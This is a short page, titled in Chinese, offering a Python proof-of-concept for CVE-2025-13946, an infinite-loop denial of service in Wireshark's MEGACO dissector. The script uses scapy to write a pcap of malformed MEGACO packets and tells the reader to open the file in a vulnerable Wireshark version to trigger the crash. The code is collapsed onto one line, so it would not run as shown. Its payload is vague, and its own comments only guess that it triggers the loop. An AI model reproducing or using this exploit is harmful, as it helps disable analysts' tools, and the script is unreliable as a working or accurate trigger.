CVE-2025-13946 Wireshark MEGACO dissector 无限循环拒绝服务漏洞

#!/usr/bin/env python3 # CVE-2025-13946 PoC - MEGACO dissector infinite loop # Generate malicious pcap file to trigger infinite loop in Wireshark MEGACO dissector from scapy.all import IP, UDP, wrpcap, Raw import struct def create_megaco_packet(): """Create a malformed MEGACO packet that triggers infinite loop""" # MEGACO uses port 2944 by default megaco_port = 2944 # Create malformed MEGACO message with recursive structure # This malformed message can cause the dissector to loop indefinitely malformed_megaco = b'\x00' * 100 # Padding to trigger parsing issue # Add MEGACO message header with potential infinite loop trigger megaco_payload = ( b'MEGACO/1 [192.168.1.100]:' + str(megaco_port).encode() + b'\r\n' + malformed_megaco + b'Transaction = 12345 {\r\n' + malformed_megaco + b'Context = - {\r\n' + malformed_megaco ) # Create IP/UDP packet with malformed MEGACO payload pkt = IP(dst='192.168.1.1', src='192.168.1.100') / \ UDP(sport=megaco_port, dport=megaco_port) / \ Raw(load=megaco_payload) return pkt def generate_poc_pcap(): """Generate PoC pcap file""" packets = [] # Create multiple malformed packets for i in range(5): pkt = create_megaco_packet() packets.append(pkt) # Save to pcap file output_file = 'CVE-2025-13946_poc.pcap' wrpcap(output_file, packets) print(f'[+] PoC pcap file generated: {output_file}') print('[+] Open this file with vulnerable Wireshark version to trigger the vulnerability') if __name__ == '__main__': generate_poc_pcap()